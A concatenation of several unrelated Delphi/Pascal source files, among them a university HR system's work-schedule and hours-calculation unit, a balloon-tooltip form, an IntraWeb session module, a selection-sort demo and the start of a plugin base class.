#$A0,#$A1,#$A1,#$A3,#$A4,#$A5,#$A6,#$A7,#$A8,#$A9,#$AA,#$AB,#$AC,#$AD,#$AE,#$AF,
#$B0,#$B1,#$B2,#$B2,#$A5,#$B5,#$B6,#$B7,#$A8,#$B9,#$AA,#$BB,#$A3,#$BD,#$BD,#$AF,
#$C0,#$C1,#$C2,#$C3,#$C4,#$C5,#$C6,#$C7,#$C8,#$C9,#$CA,#$CB,#$CC,#$CD,#$CE,#$CF,
#$D0,#$D1,#$D2,#$D3,#$D4,#$D5,#$D6,#$D7,#$D8,#$D9,#$DA,#$DB,#$DC,#$DD,#$DE,#$DF,
#$C0,#$C1,#$C2,#$C3,#$C4,#$C5,#$C6,#$C7,#$C8,#$C9,#$CA,#$CB,#$CC,#$CD,#$CE,#$CF,
#$D0,#$D1,#$D2,#$D3,#$D4,#$D5,#$D6,#$D7,#$D8,#$D9,#$DA,#$DB,#$DC,#$DD,#$DE,#$DF);
type
PStringItemList = ^TStringItemList;
TStringItemList = array[0..DWordListUpperLimit] of string;
PPointerItemList = ^TPointerItemList;
TPointerItemList = array[0..DWordListUpperLimit] of Pointer;
implementation
end.
|
{ -$Id: WorkModeCentral.pas,v 1.8 2009/07/31 15:13:14 mzagurskaya Exp $}
{******************************************************************************}
{ Автоматизированная система управления персоналом }
{ (c) Донецкий национальный университет, 2002-2004 }
{******************************************************************************}
{ Модуль "Работа с режимами работы (внутренняя)" }
{ Загрузка режимов работы, подсчет часов по графику для дня и прочее }
{ ответственный: Олег Волков }
unit WorkModeCentral;
interface
uses IBQuery, Controls, IBDataBase, SysUtils, DateUtils, Variants;
const eps = 0.0001;
type
// типы выхода
TVihod = class(TObject)
public
Id_Vihod: Integer;
Is_Work: Boolean;
Is_Paid: Boolean;
Name_Full: String;
Name_Short: String;
end;
// все типы выходов
TAllVihods = class(TObject)
private
FQuery: TIBQuery;
FVihods: array of TVihod;
function FindVihod(id_vihod: Integer): TVihod;
public
constructor Create(Transaction: TIBTransaction);
destructor Destroy; override;
procedure ReLoad;
property Vihods[id_vihod: Integer]: TVihod read FindVihod; default;
end;
// календарь
TCalendar = class(TObject)
private
FHolidays: array of TDate;
FQuery: TIBQuery;
function Check_Is_Holiday(Cur_Date: TDate): Boolean;
public
constructor Create(Transaction: TIBTransaction);
destructor Destroy; override;
procedure ReLoad;
property Is_Holiday[Cur_Date: TDate]: Boolean read Check_Is_Holiday;default;
end;
// единичная запись о времени работы в данный день
TWorkReg = record
Work_Beg: TTime;
Work_End: TTime;
Break_Beg: Variant;
Break_End: Variant;
end;
// исключение режима работы
TWorkExc = record
Exc_Date: TDate;
Exc_Type: Integer;
Hours: TTime;
end;
// режим работы
TWorkMode = record
Id_Work_Mode: Integer;
Nomer: Integer;
Name: String;
Name_Short: String;
Night_Beg: TTime;
Night_End: TTime;
WorkReg: array of TWorkReg;
WorkExc: array of TWorkExc;
end;
// класс для загрузки режимов работы и подсчета времени в данный день
TWorkModeCenter = class(TObject)
private
WorkModes: array of TWorkMode;
WorkModesQuery: TIBQuery;
WorkRegQuery: TIBQuery;
WorkExcQuery: TIBQuery;
FShift: Integer;
FId_Work_Mode: Integer;
FMode_Index: Integer;
FCurDate: TDate;
procedure SetWorkMode(Work_Mode: Integer);
function GetTimes: TWorkReg;
function NormalizeShift: Integer;
procedure SetDate(The_Date: TDate);
function GetNightBegin: TTime;
function GetNightEnd: TTime;
function Get_Vihodnoi_Id_Vihod: Integer;
function Get_Command_Id_Vihod: Integer;
function Get_Rody_Id_Vihod: Integer;
function Get_Dekret_Id_Vihod: Integer;
function Get_Boln_Id_Vihod: Integer;
public
// Если 1, то в табеле часы смены, переходящей через полночь,
// разбиваются на два дня (-5-7), если 0, не разбиваются (12)
Table_Split_Days: Integer;
ReadTransaction: TIBTransaction;
Consts_Query: TIBQuery;
// учитывать ли исключения типа "меньше на час"
// (для полставочников они не учитываются)
Account_Less_Exceptions: Boolean;
constructor Create(Transaction: TIBTransaction);
destructor Destroy;override;
procedure ReLoad; // (пере)загрузить из базы
published
// установить режим
property Id_Work_Mode: Integer read FId_Work_Mode write SetWorkMode;
// установить сдвижку
property Shift: Integer read FShift write FShift;
// установить рабочий день
property CurDate: TDate read FCurDate write SetDate;
// возвращает времена выхода по графику для выбранных ^^^^
property Times: TWorkReg read GetTimes;
// возвращает сдвижку в отрезке 0..период-1
property NormalizedShift: Integer read NormalizeShift;
property Night_Begin: TTime read GetNightBegin;
property Night_End: TTime read GetNightEnd;
property Vihodnoi_Id_Vihod: Integer read Get_Vihodnoi_Id_Vihod;
property Command_Id_Vihod: Integer read Get_Command_Id_Vihod;
property Rody_Id_Vihod: Integer read Get_Rody_Id_Vihod;
property Dekret_Id_Vihod: Integer read Get_Dekret_Id_Vihod;
property Boln_Id_Vihod: Integer read Get_Boln_Id_Vihod;
end;
// рабочее время сегодня и завтра в данном промежутке (обычные, ночные...)
TWorkTime = class(TObject)
private
FToday_Hours: TTime;
FTomorrow_Hours: TTime;
public
Period_Beg: TTime;
Period_End: TTime;
// начала периода сегодня - конец периода завтра
// пр: полные часы (0, 1) ночные (22/24, 6/24)
constructor Create(Period_Beg: TTime = 0; Period_End: TTime =0);
procedure CalcTime(WorkReg: TWorkReg);
published
property Today_Hours: TTime read FToday_Hours; // часы сегодня
property Tomorrow_Hours: TTime read FTomorrow_Hours; // часы завтра
end;
// разные часы работы по дню
TWorkHours = class(TObject)
private
FHours: TWorkTime;
FNightHours: TWorkTime;
FGraficHours: TWorkTime;
FWorkReg: TWorkReg;
FGraficReg: TWorkReg;
public
constructor Create(Night_Beg, Night_End: TTime);
destructor Destroy; override;
// подсчитывает часы из времени работы
procedure CalcHours;
published
property Hours: TWorkTime read FHours;
property NightHours: TWorkTime read FNightHours;
property GraficHours: TWorkTime read FGraficHours;
property WorkReg: TWorkReg read FWorkReg write FWorkReg;
property GraficReg: TWorkReg read FGraficReg write FGraficReg;
end;
// возвращает реальную сдвижку, исходя из сдвижки относительно
// заданной даты, или наоборот
function ConvertShift(Shift: Integer; From_Date: TDate; ReturnReal: Boolean = True): Integer;
// возвращает время, соотв. нерабочему дню
function ZeroReg: TWorkReg;
// возвращает время работы соотв. количеству часов
function HoursReg(Hours: TTime): TWorkReg;
// изменяет количество часов на плюс или минус число
procedure HoursChangeReg(var Reg: TWorkReg; Hours: TTime);
function TimeToHours(Hours: Variant; Hours_F: Variant): Double;
var
WorkModeCenter: TWorkModeCenter;
Calendar: TCalendar;
AllVihods: TAllVihods;
Shift_Begin: TDate;
implementation
uses Math;
function TimeToHours(Hours: Variant; Hours_F: Variant): Double;
begin
if VarIsNull(Hours) then Result := 0
else
if Hours > eps then Result := 24*Hours
else
if Hours_F > eps then Result := Hours_F
else Result := 0;
end;
function TWorkModeCenter.Get_Vihodnoi_Id_Vihod: Integer;
begin
Result := Consts_Query['Vihodnoi_Id_Vihod'];
end;
function TWorkModeCenter.Get_Command_Id_Vihod: Integer;
begin
Result := Consts_Query['Command_Id_Vihod'];
end;
function TWorkModeCenter.Get_Rody_Id_Vihod: Integer;
begin
Result := Consts_Query['Rody_Id_Vihod'];
end;
function TWorkModeCenter.Get_Dekret_Id_Vihod: Integer;
begin
Result := Consts_Query['Dekret_Id_Vihod'];
end;
function TWorkModeCenter.Get_Boln_Id_Vihod: Integer;
begin
Result := Consts_Query['Boln_Id_Vihod'];
end;
function TWorkModeCenter.GetNightBegin: TTime;
begin
Result := WorkModes[FMode_Index].Night_Beg;
end;
function TWorkModeCenter.GetNightEnd: TTime;
begin
Result := WorkModes[FMode_Index].Night_End;
end;
procedure TWorkModeCenter.SetDate(The_Date: TDate);
begin
FCurDate := Trunc(The_Date);
end;
function TWorkModeCenter.NormalizeShift: Integer;
var
m: Integer;
begin
m := Length(WorkModes[FMode_Index].WorkReg);
if m <> 0 then
begin
Result := FShift mod m;
if Result < 0 then Result := m + Result;
end
else Result := FShift;
end;
procedure TWorkHours.CalcHours;
begin
FHours.CalcTime(FWorkReg);
FNightHours.CalcTime(FWorkReg);
FGraficHours.CalcTime(FGraficReg);
end;
constructor TWorkHours.Create(Night_Beg, Night_End: TTime);
begin
inherited Create;
FHours := TWorkTime.Create(0, 1);
FNightHours := TWorkTime.Create(Night_Beg, Night_End);
FGraficHours := TWorkTime.Create(0, 1);
end;
destructor TWorkHours.Destroy;
begin
FHours.Free;
FNightHours.Free;
FGraficHours.Free;
end;
constructor TWorkTime.Create(Period_Beg: TTime = 0; Period_End: TTime = 0);
begin
inherited Create;
Self.Period_Beg := Period_Beg;
Self.Period_End := Period_End;
end;
procedure TWorkTime.CalcTime(WorkReg: TWorkReg);
var
Today_End, Tomorrow_End: TTime; // конец работы сегодня и завтра
LBound, RBound: TTime;
begin
with WorkReg do
begin
// переходящие через полночь часы
if Work_End < Work_Beg then
begin
Today_End := 1;
Tomorrow_End := Work_End;
end
else // непереходящие часы
begin
Today_End := Work_End;
Tomorrow_End := 0;
end;
// период полностью в одном дне
// | [****] |
if Period_Beg < Period_End then
begin
LBound := Max(Work_Beg, Period_Beg);
RBound := Min(Today_End, Period_End);
if LBound < RBound then FToday_Hours := RBound - LBound
else FToday_Hours := 0;
end
else // период затрагивает два дня
// |**] [***|
begin
FToday_Hours := 0;
// учесть первый кусок (от полуночи до конца)
if Work_Beg < Period_End then
FToday_Hours := FToday_Hours + Min(Today_End, Period_End) - Work_Beg;
// учесть второй кусок (от начала до полуночи)
if Today_End > Period_Beg then
FToday_Hours := FToday_Hours + Today_End - Max(Work_Beg, Period_Beg);
end;
FTomorrow_Hours := Min(Tomorrow_End, Period_End);
// учет перерыва - считаем, что он в первом дне до точки Х :)
if not ( VarIsNull(Break_Beg) or VarIsNull(Break_End) ) then
//перерыв в первом дне
if ( (Break_Beg > Work_Beg) and (FToday_Hours > eps) ) then
FToday_Hours := FToday_Hours - (Break_End - Break_Beg)
//перерыв во втором дне
else if ((Break_Beg < Work_Beg) and (FTomorrow_Hours > eps) ) then
FTomorrow_Hours := FTomorrow_Hours - (Break_End - Break_Beg);
end;
end;
function ConvertShift(Shift: Integer; From_Date: TDate; ReturnReal: Boolean = True): Integer;
begin
if ReturnReal then
Result := Shift + DaysBetween(Shift_Begin, From_Date)
else Result := Shift - DaysBetween(Shift_Begin, From_Date)
end;
function ZeroReg: TWorkReg;
begin
with Result do
begin
Work_Beg := 8/24;
Work_End := Work_Beg;
Break_Beg := Null;
Break_End := Null;
end;
end;
function HoursReg(Hours: TTime): TWorkReg;
begin
with Result do
begin
Work_Beg := 8/24;
Work_End := Work_Beg + Hours;
Break_Beg := Null;
Break_End := Null;
end;
end;
procedure HoursChangeReg(var Reg: TWorkReg; Hours: TTime);
begin
with Reg do
if (Hours > 0) or (Work_End <> Work_Beg) then
begin
Work_End := Work_End + Hours;
if Work_End > 1 then Work_End := 1;
end;
end;
function TWorkModeCenter.GetTimes: TWorkReg;
var
i, j, m: Integer;
dayz_between: Integer;
begin
m := Length(WorkModes[FMode_Index].WorkReg);
dayz_between := Trunc(FCurDate - Shift_Begin);
if m <> 0 then
i := (dayz_between - Shift) mod m
else i := 0;
if ( i < 0 ) then i := m + i;
with WorkModes[FMode_Index] do
for j:=0 to High(WorkExc) do
if WorkExc[j].Exc_Date = FCurDate then
begin
if WorkExc[j].Exc_Type = 0 then
begin
Result := HoursReg(WorkExc[j].Hours);
Exit;
end
else
if Account_Less_Exceptions and ( WorkExc[j].Exc_Type = -1 ) then
begin
Result := WorkModes[FMode_Index].WorkReg[i];
HoursChangeReg(Result, -WorkExc[j].Hours);
Exit;
end
else
if WorkExc[j].Exc_Type = +1 then
begin
Result := WorkModes[FMode_Index].WorkReg[i];
HoursChangeReg(Result, +WorkExc[j].Hours);
Exit;
end;
end;
if m <> 0 then
Result := WorkModes[FMode_Index].WorkReg[i]
else Result := ZeroReg;
end;
procedure TWorkModeCenter.SetWorkMode(Work_Mode: Integer);
var
ind: Integer;
begin
FId_Work_Mode := Work_Mode;
for ind := 0 to High(WorkModes) do
if WorkModes[ind].Id_Work_Mode = Work_Mode then
begin
FMode_Index := ind;
Exit;
end;
raise Exception.Create('TWorkModeCenter: Не знайдено режим праці ' +
IntToStr(Work_Mode));
end;
constructor TWorkModeCenter.Create(Transaction: TIBTransaction);
begin
inherited Create;
WorkModesQuery := TIBQuery.Create(nil);
WorkRegQuery := TIBQuery.Create(nil);
WorkExcQuery := TIBQuery.Create(nil);
Consts_Query := TIBQuery.Create(nil);
WorkModesQuery.Transaction := Transaction;
WorkRegQuery.Transaction := Transaction;
WorkExcQuery.Transaction := Transaction;
Consts_Query.Transaction := Transaction;
WorkModesQuery.SQL.Text := 'SELECT * FROM Dt_Work_Mode ORDER BY Id_Work_Mode';
WorkRegQuery.SQL.Text := 'SELECT * FROM Dt_WorkReg ORDER BY Id_Work_Mode, Id_Day_Week';
WorkExcQuery.SQL.Text := 'SELECT * FROM Work_Exc ORDER BY Id_Work_Mode, Exc_Date';
Consts_Query.SQL.Text := 'SELECT * FROM Ini_Asup_Consts';
Consts_Query.Open;
ReadTransaction := Transaction;
Account_Less_Exceptions := True;
Table_Split_Days := Consts_Query['Table_Split_Days'];
end;
destructor TWorkModeCenter.Destroy;
begin
Consts_Query.Free;
WorkModesQuery.Free;
WorkRegQuery.Free;
WorkExcQuery.Free;
inherited;
end;
procedure TWorkModeCenter.ReLoad;
var
mode, reg, exc: Integer;
begin
if not Consts_Query.Active then Consts_Query.Open;
Shift_Begin := Consts_Query['Shift_Begin'];
WorkModesQuery.Close;
WorkRegQuery.Close;
WorkExcQuery.Close;
WorkModesQuery.Open;
WorkRegQuery.Open;
WorkExcQuery.Open;
mode := 0;
WorkModesQuery.First;
while not WorkModesQuery.Eof do
begin
SetLength(WorkModes, mode+1);
with WorkModes[mode] do
begin
Id_Work_Mode := WorkModesQuery['Id_Work_Mode'];
Nomer := WorkModesQuery['Nomer'];
Name := WorkModesQuery['Name'];
Name_Short := WorkModesQuery['Name_Short'];
Night_Beg := WorkModesQuery['Night_Beg'];
Night_End := WorkModesQuery['Night_End'];
reg := 0;
WorkRegQuery.Locate('Id_Work_Mode', Id_Work_Mode, []);
while (WorkRegQuery['Id_Work_Mode'] = Id_Work_Mode)
and not WorkRegQuery.Eof do
begin
SetLength(WorkReg, reg+1);
with WorkReg[reg] do
begin
Work_Beg := WorkRegQuery['Work_Beg'];
Work_End := WorkRegQuery['Work_End'];
Break_Beg := WorkRegQuery['Break_Beg'];
Break_End := WorkRegQuery['Break_End'];
end;
inc(reg);
WorkRegQuery.Next;
end;
exc := 0;
WorkExcQuery.Locate('Id_Work_Mode', Id_Work_Mode, []);
while (WorkExcQuery['Id_Work_Mode'] = Id_Work_Mode)
and not WorkExcQuery.Eof do
begin
SetLength(WorkExc, exc+1);
with WorkExc[exc] do
begin
Exc_Type := WorkExcQuery['Exc_Type'];
Exc_Date := WorkExcQuery['Exc_Date'];
Hours := WorkExcQuery['Hours'];
end;
inc(exc);
WorkExcQuery.Next;
end;
end;
inc(mode);
WorkModesQuery.Next;
end;
FMode_Index := 0;
FShift := 0;
end;
function TCalendar.Check_Is_Holiday(Cur_Date: TDate): Boolean;
var
i: Integer;
begin
Result := False;
for i:=0 to High(FHolidays) do
if FHolidays[i] = Cur_Date then
begin
Result := True;
Exit;
end;
end;
constructor TCalendar.Create(Transaction: TIBTransaction);
begin
inherited Create;
FQuery := TIBQuery.Create(nil);
FQuery.Transaction := Transaction;
FQuery.SQL.Text := 'SELECT Tbl_Year, Tbl_Month, Tbl_Day FROM Calendar' +
' WHERE Holiday = ''T'' ORDER BY Tbl_Year, Tbl_Month, Tbl_Day';
end;
destructor TCalendar.Destroy;
begin
FQuery.Free;
inherited Destroy;
end;
procedure TCalendar.ReLoad;
var
i: Integer;
begin
SetLength(FHolidays, 0);
FQuery.Close;
FQuery.Open;
FQuery.First;
i := 0;
while not FQuery.Eof do
begin
SetLength(FHolidays, i+1);
FHolidays[i] := EncodeDate(FQuery['Tbl_Year'], FQuery['Tbl_Month'],
FQuery['Tbl_Day']);
FQuery.Next;
inc(i);
end;
end;
constructor TAllVihods.Create(Transaction: TIBTransaction);
begin
inherited Create;
FQuery := TIBQuery.Create(nil);
FQuery.Transaction := Transaction;
FQuery.SQL.Text := 'SELECT Id_Vihod, Name_Full, Name_Short, Is_Work, Is_Paid FROM Sp_Vihod';
end;
destructor TAllVihods.Destroy;
var
i: Integer;
begin
for i:=0 to High(FVihods) do
FVihods[i].Free;
FQuery.Free;
inherited Destroy;
end;
procedure TAllVihods.ReLoad;
var
i: Integer;
begin
FQuery.Close;
FQuery.Open;
FQuery.First;
i := 0;
while not FQuery.Eof do
begin
SetLength(FVihods, i+1);
FVihods[i] := TVihod.Create;
FVihods[i].Id_Vihod := FQuery['Id_Vihod'];
FVihods[i].Name_Full := FQuery['Name_Full'];
FVihods[i].Name_Short := FQuery['Name_Short'];
FVihods[i].Is_Work := ( FQuery['Is_Work'] = 'T' );
FVihods[i].Is_Paid := ( FQuery['Is_Paid'] = 'T' );
FQuery.Next;
inc(i);
end;
end;
function TAllVihods.FindVihod(id_vihod: Integer): TVihod;
var
i: Integer;
begin
Result := nil;
for i:=0 to High(FVihods) do
if FVihods[i].Id_Vihod = id_vihod then
begin
Result := FVihods[i];
Exit;
end;
end;
end. |
unit _balloonform;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, System.Types;
type
TFormOrientation = (foLeftBottom, foLeftTop, foRightBottom, foRightTop);
TBallloonCloseEvent = procedure(Sender: TObject; IsChecked: Boolean; const Data: integer) of object;
TBalloonForm = class(TForm)
Label1: TLabel;
CheckBox1: TCheckBox;
Image1: TImage;
Timer1: TTimer;
Label2: TLabel;
Label3: TLabel;
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: integer);
procedure Timer1Timer(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
procedure Label3Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
Region, Hand: HRGN;
BMP: TBitmap;
br: TBrush;
HostRect: TRect;
FFormOrient: TFormOrientation;
WasClosed: Boolean;
OnBalloonClose: TBallloonCloseEvent;
FAppData: integer;
// OldAppDeactivate: TNotifyEvent;
// procedure AppDeactivate(Sender: TObject);
public
{ Public declarations }
end;
const
ii_None = 0;
ii_Warning = 1;
ii_Information = 2;
ii_Error = 3;
procedure CreateBalloon(const Image: byte; const ATitle, AText: string; Control: TControl;
const AOnClose: TBallloonCloseEvent = nil; const AData: integer = 0; const Checked: Boolean = False;
const HelpCtx: THelpContext = 0; const DelaySecs: integer = 0; const ShowCheckbox: Boolean = True;
const CheckboxMsg: string = ''; const LearnMsg: string = '');
procedure CloseBalloon;
var
BalloonForm: TBalloonForm;
implementation
uses nsUtils;
{$R *.DFM}
var
HideBalloon: Boolean = False;
procedure CloseBalloon;
begin
if BalloonForm <> nil then
try
FreeAndNil(BalloonForm);
except
end;
end;
procedure CreateBalloon(const Image: byte; const ATitle, AText: string; Control: TControl;
const AOnClose: TBallloonCloseEvent = nil; const AData: integer = 0; const Checked: Boolean = False;
const HelpCtx: THelpContext = 0; const DelaySecs: integer = 0; const ShowCheckbox: Boolean = True;
const CheckboxMsg: string = ''; const LearnMsg: string = '');
type
PPoints = ^TPoints;
TPoints = array[0..0] of TPoint;
var
X, Y: integer;
Points: array[1..3] of TPoint;
R: TRect;
pt: TPoint;
hUserLib: HMODULE;
begin
// if not g_Baloon then exit;
CloseBalloon;
BalloonForm := TBalloonForm.Create(Application);
with BalloonForm do
begin
FAppData := AData;
OnBalloonClose := AOnClose;
Label2.Caption := ATitle;
hUserLib := LoadLibrary('user32.dll');
case Image of
ii_Warning: Image1.Picture.Icon.Handle := LoadImage(hUserLib, PChar(101), IMAGE_ICON, 16, 16, LR_DEFAULTCOLOR);
ii_Error: Image1.Picture.Icon.Handle := LoadImage(hUserLib, PChar(103), IMAGE_ICON, 16, 16, LR_DEFAULTCOLOR);
ii_Information: Image1.Picture.Icon.Handle :=
LoadImage(hUserLib, PChar(104), IMAGE_ICON, 16, 16, LR_DEFAULTCOLOR);
else
Image1.Visible := False;
end;
FreeLibrary(hUserLib);
if ATitle = EmptyStr then
begin
Label2.Visible := False;
Label1.Top := Image1.Top + 10;
Height := Height - Image1.Height;
end;
HelpContext := HelpCtx;
if LearnMsg <> EmptyStr then
Label3.Caption := LearnMsg;
if HelpContext = 0 then
begin
Label3.Visible := False;
Height := Height - Label3.Height;
end;
HostRect := Control.ClientRect;
if Control.Parent <> nil then
pt := Control.Parent.ClientToScreen(Point(Control.Left, Control.Top))
else
pt := Point(Control.Left, Control.Top);
HostRect.Left := pt.X;
HostRect.Top := pt.Y;
HostRect.Right := pt.X + Control.Width;
HostRect.Bottom := pt.Y + Control.Height;
FFormOrient := foRightTop;
if (HostRect.Bottom + ClientHeight < Screen.Height) then
if (HostRect.Left - ClientWidth > 0) then
FFormOrient := foRightTop
else
FFormOrient := foLeftTop
else
if (HostRect.Left + ClientWidth < Screen.Width) then
FFormOrient := foLeftBottom
else
FFormOrient := foRightBottom;
Label1.Caption := AText;
R := Label1.ClientRect;
DrawText(Canvas.Handle, PChar(AText), -1, R, DT_LEFT or DT_CALCRECT or DT_WORDBREAK);
if R.Bottom - R.Top > Label1.Height then
begin
Height := Height + R.Bottom - R.Top - Label1.Height;
Label1.Height := R.Bottom - R.Top;
end;
if ShowCheckbox then
begin
if CheckboxMsg <> EmptyStr then
CheckBox1.Caption := CheckboxMsg;
CheckBox1.Width := Canvas.TextWidth(CheckBox1.Caption) + 42;
CheckBox1.Checked := Checked;
end
else
Height := Height - 30;
X := (Width - ClientWidth) div 2;
Y := Height - ClientHeight - X;
Region := CreateRoundRectRgn(X + 20, Y + 20, ClientWidth - 20, ClientHeight - 8, 1, 1);
// Region := CreateRoundRectRgn(X + 20, Y + 20, ClientWidth - 20, ClientHeight - 8, 11, 11);
case FFormOrient of
foLeftBottom:
begin
Points[1] := Point(X + 20, ClientHeight - 30);
Points[2] := Point(X + 35, ClientHeight - 30);
Points[3] := Point(X, ClientHeight);
Left := 1 + HostRect.Left;
Top := HostRect.Bottom - Height;
//(HostRect.Bottom + HostRect.Top) div 2 - Height + (HostRect.Bottom - HostRect.Top) div 2;
end;
foLeftTop:
begin
Points[1] := Point(X + 35, 85);
Points[2] := Point(X + 45, 65);
Points[3] := Point(X + 1, Y + 10);
Left := 1 + HostRect.Left;
Top := HostRect.Bottom - 32;
end;
foRightBottom:
begin
Points[1] := Point(Width - 60, ClientHeight - 75);
Points[2] := Point(Width - 40, ClientHeight - 25);
Points[3] := Point(ClientWidth, ClientHeight); // - 35);
Left := HostRect.Left - 1 - ClientWidth;
Top := HostRect.Bottom - Height;
//(HostRect.Bottom + HostRect.Top) div 2 - Height + (HostRect.Bottom - HostRect.Top) div 2;
end;
foRightTop:
begin
Points[1] := Point(Width - 70, 75);
Points[2] := Point(Width - 70, 115);
Points[3] := Point(ClientWidth, 35);
Left := HostRect.Left - 1 - Width + 8;
Top := HostRect.Bottom - 38;
end;
end; {case...}
Hand := CreatePolygonRgn(PPoints(@Points)^, 3, WINDING);
CombineRgn(Region, Region, Hand, RGN_OR);
DeleteObject(Hand);
BMP := TBitmap.Create;
BMP.Handle := CreateCompatibleBitmap(Canvas.Handle, ClientRect.Right - ClientRect.Left,
ClientRect.Bottom - ClientRect.Top);
br := TBrush.Create;
br.Color := Color;
FillRgn(BMP.Canvas.Handle, Region, Br.Handle);
with br do
begin
Style := bsSolid;
Color := $00993300;
end;
FrameRgn(BMP.Canvas.Handle, Region, br.Handle, 1, 1);
SetWindowRgn(Handle, Region, True);
WasClosed := False;
HideBalloon := False;
// Application.OnDeactivate := AppDeactivate;
ShowWindow(Handle, SW_SHOWNA);
if ShowCheckbox then
ShowWindow(CheckBox1.Handle, SW_SHOWNA);
if DelaySecs <> 0 then
Timer1.Interval := 1000 * DelaySecs
else
begin
Timer1.Interval := 1000 * (10 * Length(AText) div 100);
if Timer1.Interval < 5000 then
Timer1.Interval := 5000;
end;
Timer1.Enabled := True;
end;
end;
procedure TBalloonForm.FormDestroy(Sender: TObject);
begin
DeleteObject(Region);
br.Free;
BMP.Free;
end;
procedure TBalloonForm.FormPaint(Sender: TObject);
begin
Canvas.Draw(-((Width - ClientWidth) div 2), -(Height - ClientHeight - (Width - ClientWidth) div 2), BMP);
end;
procedure TBalloonForm.FormClose(Sender: TObject; var Action: TCloseAction);
begin
// Application.OnDeactivate := OldAppDeactivate;
WasClosed := True;
try
Action := caFree;
if Assigned(OnBalloonClose) then
OnBalloonClose(Self, CheckBox1.Checked, FAppData);
except
end;
BalloonForm := nil;
end;
procedure TBalloonForm.Label1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: integer);
begin
if (Button = mbLeft) then
Close;
end;
procedure TBalloonForm.Timer1Timer(Sender: TObject);
begin
Close;
end;
procedure TBalloonForm.CheckBox1Click(Sender: TObject);
begin
if Timer1.Enabled then
Timer1.Interval := 50;
end;
(*
procedure TBalloonForm.AppDeactivate(Sender: TObject);
begin
Self.Close;
end;
*)
procedure TBalloonForm.Label3Click(Sender: TObject);
begin
Application.HelpContext(HelpContext);
end;
procedure TBalloonForm.FormCreate(Sender: TObject);
begin
UpdateVistaFonts(Self);
// OldAppDeactivate := Application.OnDeactivate;
// Application.OnDeactivate := AppDeactivate;
end;
end.
|
unit UserSession;
{
This is a DataModule where you can add components or declare fields that are specific to
ONE user. Instead of creating global variables, it is better to use this datamodule. You can then
access the it using UserSession.
}
interface
uses
IWUserSessionBase, SysUtils, Classes, MainDM;
type
TIWUserSession = class(TIWUserSessionBase)
private
{ Private declarations }
public
DMMain: TDMMain;
constructor Create(AOwner: TComponent); override;
{ Public declarations }
end;
implementation
{$R *.dfm}
{ TIWUserSession }
constructor TIWUserSession.Create(AOwner: TComponent);
begin
inherited;
DMMain := TDMMain.Create(AOwner);
end;
end. |
program StraightSelection;
{*
Straight Selection Sort
Straight Selection is in some sense the opposite of straight insertion: Straight insertion considers in each step only the one next item of the source sequence and all items of the destination array to find the insertion point; straight selection considers all items of the source array to find the one withe least key and to deposit it as the one next item of the destination sequence.
This is not a stable sort.
O(n^2)
worst case: O(n^2) swaps
best case: O(1) swaps
We may conclude in general the algorithm of straight selection is to be preferred over straight insertion.
*}
{$mode objfpc}{$H+}
uses {$IFDEF UNIX} {$IFDEF UseCThreads}
cthreads, {$ENDIF} {$ENDIF}
TypeUtils,
Classes;
type
item = record
key: integer;
Value: string;
end;
type
itemArray = array of item;
type
index = integer;
{* ------------------------------------------------------------------ shuffle
The Fisher-Yates shuffle, in its original form, was described in 1938
by Ronald Fisher and Frank Yates in their book Statistical tables for
biological, agricultural and medical research.
The modern version of the Fisher-Yates shuffle, designed for computer use,
was introduced by Richard Durstenfeld in 1964 and popularized by
Donald E. Knuth in The Art of Computer Programming.
O(n)
*}
function shuffle(arr: itemArray): itemArray;
var
i, j: index;
r: integer;
a: item;
b: item;
begin
for i := (length(arr) - 1) downto 1 do
begin
r := random(i);
a := arr[i];
b := arr[r];
arr[i] := b;
arr[r] := a;
end;
Result := arr;
end;
{ ---------------------------------------------------- straightSelectionSort }
function straightSelectionSort(a: itemArray): itemArray;
var
i, j, k, n: index;
var
x: item;
begin
n := (length(a) - 1);
for i := 0 to n do
begin
x := a[i];
k := i;
for j := i + 1 to n do
if a[j].key < x.key then
begin
k := j;
x := a[j];
end;
a[k] := a[i];
a[i] := x;
end;
Result := a;
end;
var
a: array[0..9] of item = ((key: 0; Value: 'A'), (key: 1; Value: 'B'), (key: 2;
Value: 'C'), (key: 3; Value: 'D'), (key: 4; Value: 'E'), (key: 5;
Value: 'F'), (key: 6; Value: 'G'), (key: 7; Value: 'H'), (key: 8;
Value: 'I'), (key: 9; Value: 'J'));
b: itemArray;
begin
b := shuffle(a);
Writeln(ToStr(b, TypeInfo(b)));
b := straightSelectionSort(b);
Writeln(ToStr(b, TypeInfo(b)));
end.
|
unit uI2XPlugin;
interface
uses
Windows,
Classes,
MapStream,
uStrUtil,
Graphics,
SysUtils,
OmniXML,
uDWImage,
uI2XConstants,
uFileDir,
uHashTable,
uI2XMemMap;
const
UNIT_NAME = 'uI2XPlugin';
type
TI2XPlugin = class(TObject)
private
FDebugLevel : TDebugLevel;
FDebugPath : string;
FDebugLog : string;
FFileDir : CFileDir;
FGUID : string;
FPath: string;
FXMLParmFile : TFileName;
FXMLParmData : IXMLDocument;
FLogWritten : boolean;
FLastErrorCode : integer;
FLastErrorString : string;
protected
FMemoryMapManager : TI2XMemoryMapManager;
FStrUtil : CStrUtil;
function ReadParmFile( const FileName : TFileName ) : boolean ; dynamic;
property DebugLevel : TDebugLevel read FDebugLevel write FDebugLevel;
property DebugPath : string read FDebugPath write FDebugPath;
property DebugLog : string read FDebugLog write FDebugLog;
procedure DebugWrite( const msg : string );
property XMLParmFile : TFileName read FXMLParmFile write FXMLParmFile;
procedure ErrorUpdate( const msg : string; const code : integer );
public
property GUID : string read FGUID write FGUID;
property Path : string read FPath write FPath;
property LastErrorCode : integer read FLastErrorCode write FLastErrorCode;
property LastErrorString : string read FLastErrorString write FLastErrorString;
property MemoryMapManager : TI2XMemoryMapManager read FMemoryMapManager write FMemoryMapManager;
procedure CleanUp;
constructor Create( const GUID, ParmFileName : string ); dynamic;
destructor Destroy; override;
end;
PluginException = class(Exception)
public
constructor Create( const Msg : string; const ReturnCode : integer; plugin : TI2XPlugin ); overload;
end;
function ThisDLLPath() : string;
implementation
